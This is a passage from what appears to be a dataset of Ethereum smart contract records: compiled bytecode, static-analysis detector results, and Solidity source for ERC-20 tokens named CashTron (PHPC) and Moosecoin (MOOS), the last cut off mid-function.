b50356001600160a01b0316611d0d565b6102336004803603602081101561082057600080fd5b50356001600160a01b0316611d2b565b61039a6004803603602081101561084657600080fd5b50356001600160a01b0316611dca565b420190565b604051806040016040528060098152602001682ab734bb1021b7b4b760b91b81525081565b60006001600160a01b03831661089557600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6002545b90565b600354600090600160a01b900460ff1615610957576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156109c5576040805162461bcd60e51b815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6109ce84611e21565b6109d9848484612044565b949350505050565b601281565b6b204fce5e3e2502611000000081565b60006001600160a01b038316610a0b57600080fd5b3360009081526001602090815260408083206001600160a01b0387168452909152902054610a3f908363ffffffff61210d16565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6003546001600160a01b03163314610aef576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b600354600160a01b900460ff16610b3e576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420706175736564206e6f7760901b604482015290519081900360640190fd5b6003805460ff60a01b191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546000906001600160a01b03163314610bc4576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b610bce838361211f565b6040805183815290516001600160a01b038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b6003546001600160a01b03163314610c61576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b0382166000908152600560205260408120805482919084908110610ce057fe5b600091825260208083206002909202909101546001600160a01b038716835260059091526040909120805485908110610d1557fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b038416600090815260056020526040902054811015610dfa576001600160a01b0384166000908152600560205260409020805442919083908110610d8e57fe5b90600052602060002090600202016000015411610df2576001600160a01b03841660009081526005602052604090208054610def919083908110610dce57fe5b9060005260206000209060020201600101548361210d90919063ffffffff16565b91505b600101610d47565b50610e1481610e08856121b5565b9063ffffffff61210d16565b9392505050565b6003546001600160a01b03163314610e66576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6003546040516001600160a01b03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a2600380546001600160a01b0319169055565b6003546001600160a01b03163314610efb576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610f5e576040805162461bcd60e51b81526020600482015260146024820152732737903637b1b59034b73337b936b0ba34b7b71760611b604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610fc0919083908110610f8757fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61210d16565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061101457fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b038216600090815260056020526040812080548390811061105f57fe5b60009182526020808320600160029093020191909101929092556001600160a01b03841681526005909152604090205460001901811461111e576001600160a01b0382166000908152600560205260409020805460001981019081106110c157fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b0316815260200190815260200160002082815481106110ff57fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b03821660009081526005602052604090208054906111479060001983016123f0565b505050565b6003546001600160a01b03163314611197576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b600354600160a01b900460ff16156111e8576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b6003805460ff60a01b1916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314611271576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b8161127b846121b5565b10156112c6576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6001600160a01b0383166000908152602081905260409020546112ef908363ffffffff6121d016565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186524287018082528184018981528354600181810186559487529585902092516002909602909201948555905193909101929092558351868152908101919091528251919260008051602061245983398151915292918290030190a2505050565b6003546001600160a01b031633146113c4576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b6003546000906001600160a01b0316331461147c576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b0384166114c7576040805162461bcd60e51b815260206004820152600d60248201526c77726f6e67206164647265737360981b604482015290519081900360640190fd5b6003546114dc906001600160a01b03166121b5565b831115611525576040805162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b604482015290519081900360640190fd5b6003546001600160a01b0316600090815260208190526040902054611550908463ffffffff6121d016565b600380546001600160a01b03908116600090815260208181526040808320959095558883168083526005825285832086518088018852428a0181528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020612439833981519152928290030190a360408051848152428401602082015281516001600160a01b03871692600080516020612459833981519152928290030190a25060019392505050565b604051806040016040528060038152602001622723a960e91b81525081565b6003546001600160a01b0316331461167f576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b611688826121b5565b8111156116d4576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6116de82826121e5565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60006001600160a01b03831661173657600080fd5b3360009081526001602090815260408083206001600160a01b0387168452909152902054610a3f908363ffffffff6121d016565b3360009081526004602052604081205460ff16156117cf576040805162461bcd60e51b815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff1615611820576040805162461bcd60e51b815260206004820152600f60248201526e2830bab9b2b210313c9037bbb732b960891b604482015290519081900360640190fd5b61182933611e21565b610e14838361227a565b6003546001600160a01b0316331461187e576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b815161188957600080fd5b805182511461189757600080fd5b60005b8251811015611147576118d38382815181106118b257fe5b60200260200101518383815181106118c657fe5b602002602001015161176a565b508281815181106118e057fe5b60200260200101516001600160a01b0316336001600160a01b031660008051602061243983398151915284848151811061191657fe5b60200260200101516040518082815260200191505060405180910390a360010161189a565b4290565b600080805b6001600160a01b038416600090815260056020526040902054811015610dfa576001600160a01b0384166000908152600560205260409020805461198d919083908110610dce57fe5b9150600101611944565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b03163314611a10576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038416611a5b576040805162461bcd60e51b815260206004820152600d60248201526c77726f6e67206164647265737360981b604482015290519081900360640190fd5b600354611a70906001600160a01b03166121b5565b831115611ab9576040805162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b604482015290519081900360640190fd5b6003546001600160a01b0316600090815260208190526040902054611ae4908463ffffffff6121d016565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020612439833981519152928290030190a3604080518481526020810184905281516001600160a01b03871692600080516020612459833981519152928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b03163314611c0c576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b81611c16846121b5565b1015611c61576040805162461bcd60e51b81526020600482015260156024820152742130b630b731b29034b9903a37b79039b6b0b6361760591b604482015290519081900360640190fd5b6001600160a01b038316600090815260208190526040902054611c8a908363ffffffff6121d016565b6001600160a01b03841660008181526020818152604080832094909455600581528382208451808601865286815280830188815282546001818101855593865294849020915160029095029091019384555192019190915582518581529081018490528251919260008051602061245983398151915292918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b600080805b6001600160a01b038416600090815260056020526040902054811015611dc3576001600160a01b0384166000908152600560205260409020805442919083908110611d7757fe5b9060005260206000209060020201600001541115611dbb576001600160a01b03841660009081526005602052604090208054611db8919083908110610dce57fe5b91505b600101611d30565b5092915050565b6003546001600160a01b03163314611e15576040805162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b604482015290519081900360640190fd5b611e1e81612290565b50565b60005b6001600160a01b038216600090815260056020526040902054811015612040576001600160a01b0382166000908152600560205260409020805442919083908110611e6b57fe5b90600052602060002090600202016000015411612038576001600160a01b03821660009081526005602052604090208054611eab919083908110610f8757fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110611eff57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110611f4a57fe5b60009182526020808320600160029093020191909101929092556001600160a01b03841681526005909152604090205460001901811461200d576001600160a01b038216600090815260056020526040902080546000198101908110611fac57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110611fea57fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906120369060001983016123f0565b505b600101611e24565b5050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054612078908363ffffffff6121d016565b6001600160a01b03851660009081526001602090815260408083203384529091529020556120a7848484612337565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600082820183811015610e1457600080fd5b6001600160a01b03821661213257600080fd5b600254612145908263ffffffff61210d16565b6002556001600160a01b038216600090815260208190526040902054612171908263ffffffff61210d16565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391926000805160206124398339815191529281900390910190a35050565b6001600160a01b031660009081526020819052604090205490565b6000828211156121df57600080fd5b50900390565b6001600160a01b0382166121f857600080fd5b60025461220b908263ffffffff6121d016565b6002556001600160a01b038216600090815260208190526040902054612237908263ffffffff6121d016565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020612439833981519152929081900390910190a35050565b6000612287338484612337565b50600192915050565b6001600160a01b0381166122db576040805162461bcd60e51b815260206004820152600d60248201526c20b63932b0b23c9037bbb732b960991b604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03821661234a57600080fd5b6001600160a01b038316600090815260208190526040902054612373908263ffffffff6121d016565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546123a8908263ffffffff61210d16565b6001600160a01b0380841660008181526020818152604091829020949094558051858152905191939287169260008051602061243983398151915292918290030190a3505050565b81548183558181111561114757600083815260209020611147916109009160029182028101918502015b80821115612434576000808255600182015560020161241a565b509056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557ba265627a7a72315820152077cab1b2d1a3b1faeeb50ec8884ac7c4c464714aff0ee0d911334c14a1ba64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 2,627 |
0xde6d0b12b940cdb84618c6bd47157dffd268fd6a
|
//--------------------------------------------------------------------------------
// CashTron Currency Token "PHPC" (Is Not Bank Legal Money)
// USDC/EURC/AUDC/CADC/NZDC/RUBC/CNYC/SGDC/#PHPC/IDRC/MYRC/THBC/WNDC/BDTC
// CashTron @ 2018 CashTron.io CashTron.co
//--------------------------------------------------------------------------------
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken, Ownable {
using SafeMath for uint256;
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
function burn(uint256 _value) public onlyOwner returns (bool success) {
// Check if the sender has enough
require(balances[msg.sender] >= _value);
// Subtract from the sender
balances[msg.sender] = balances[msg.sender].sub(_value);
// Updates totalSupply
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
}
contract CashTron is BurnableToken {
using SafeMath for uint256;
string public constant name = "CashTron";
string public constant symbol = "PHPC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 13000000000;
function CashTron() public {
totalSupply = INITIAL_SUPPLY.mul(10 ** uint256(decimals));
balances[msg.sender] = INITIAL_SUPPLY.mul(10 ** uint256(decimals));
Transfer(0x0, msg.sender, totalSupply);
}
}
|
0x6060604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd1461019f57806323b872dd146101c45780632ff2e9dc146101ec578063313ce567146101ff57806342966c6814610228578063661884631461023e57806370a08231146102605780638da5cb5b1461027f57806395d89b41146102ae578063a9059cbb146102c1578063d73dd623146102e3578063dd62ed3e14610305578063f2fde38b1461032a575b600080fd5b34156100ea57600080fd5b6100f261034b565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012e578082015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017457600080fd5b61018b600160a060020a0360043516602435610382565b604051901515815260200160405180910390f35b34156101aa57600080fd5b6101b26103ee565b60405190815260200160405180910390f35b34156101cf57600080fd5b61018b600160a060020a03600435811690602435166044356103f4565b34156101f757600080fd5b6101b2610576565b341561020a57600080fd5b61021261057f565b60405160ff909116815260200160405180910390f35b341561023357600080fd5b61018b600435610584565b341561024957600080fd5b61018b600160a060020a0360043516602435610666565b341561026b57600080fd5b6101b2600160a060020a0360043516610762565b341561028a57600080fd5b61029261077d565b604051600160a060020a03909116815260200160405180910390f35b34156102b957600080fd5b6100f261078c565b34156102cc57600080fd5b61018b600160a060020a03600435166024356107c3565b34156102ee57600080fd5b61018b600160a060020a03600435166024356108be565b341561031057600080fd5b6101b2600160a060020a0360043581169060243516610962565b341561033557600080fd5b610349600160a060020a036004351661098d565b005b60408051908101604052600881527f4361736854726f6e000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000600160a060020a038316151561040b57600080fd5b600160a060020a03841660009081526001602052604090205482111561043057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561046357600080fd5b600160a060020a03841660009081526001602052604090205461048c908363ffffffff610a2816565b600160a060020a0380861660009081526001602052604080822093909355908516815220546104c1908363ffffffff610a3a16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610509908363ffffffff610a2816565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b640306dc420081565b601281565b60035460009033600160a060020a039081169116146105a257600080fd5b600160a060020a033316600090815260016020526040902054829010156105c857600080fd5b600160a060020a0333166000908152600160205260409020546105f1908363ffffffff610a2816565b600160a060020a0333166000908152600160205260408120919091555461061e908363ffffffff610a2816565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2506001919050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156106c357600160a060020a0333811660009081526002602090815260408083209388168352929052908120556106fa565b6106d3818463ffffffff610a2816565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60408051908101604052600481527f5048504300000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156107da57600080fd5b600160a060020a0333166000908152600160205260409020548211156107ff57600080fd5b600160a060020a033316600090815260016020526040902054610828908363ffffffff610a2816565b600160a060020a03338116600090815260016020526040808220939093559085168152205461085d908363ffffffff610a3a16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546108f6908363ffffffff610a3a16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146109a857600080fd5b600160a060020a03811615156109bd57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610a3457fe5b50900390565b600082820183811015610a4957fe5b9392505050565b600080831515610a63576000915061075b565b50828202828482811515610a7357fe5b0414610a4957fe00a165627a7a7230582041013c30043d2ede74b81e8ee71108b2dd7a749c4d3e6b36c76f4fe8611cd3260029
|
{"success": true, "error": null, "results": {}}
| 2,628 |
0x20009a909fb6f7951f594bc2daa69b5bd539d672
|
pragma solidity ^0.4.23;
/*
* Creator:MOOS (Moosecoin Token)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Moosecoin Token smart contract.
*/
contract MOOSToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 100000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function MOOSToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Moosecoin Token";
string constant public symbol = "MOOS";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
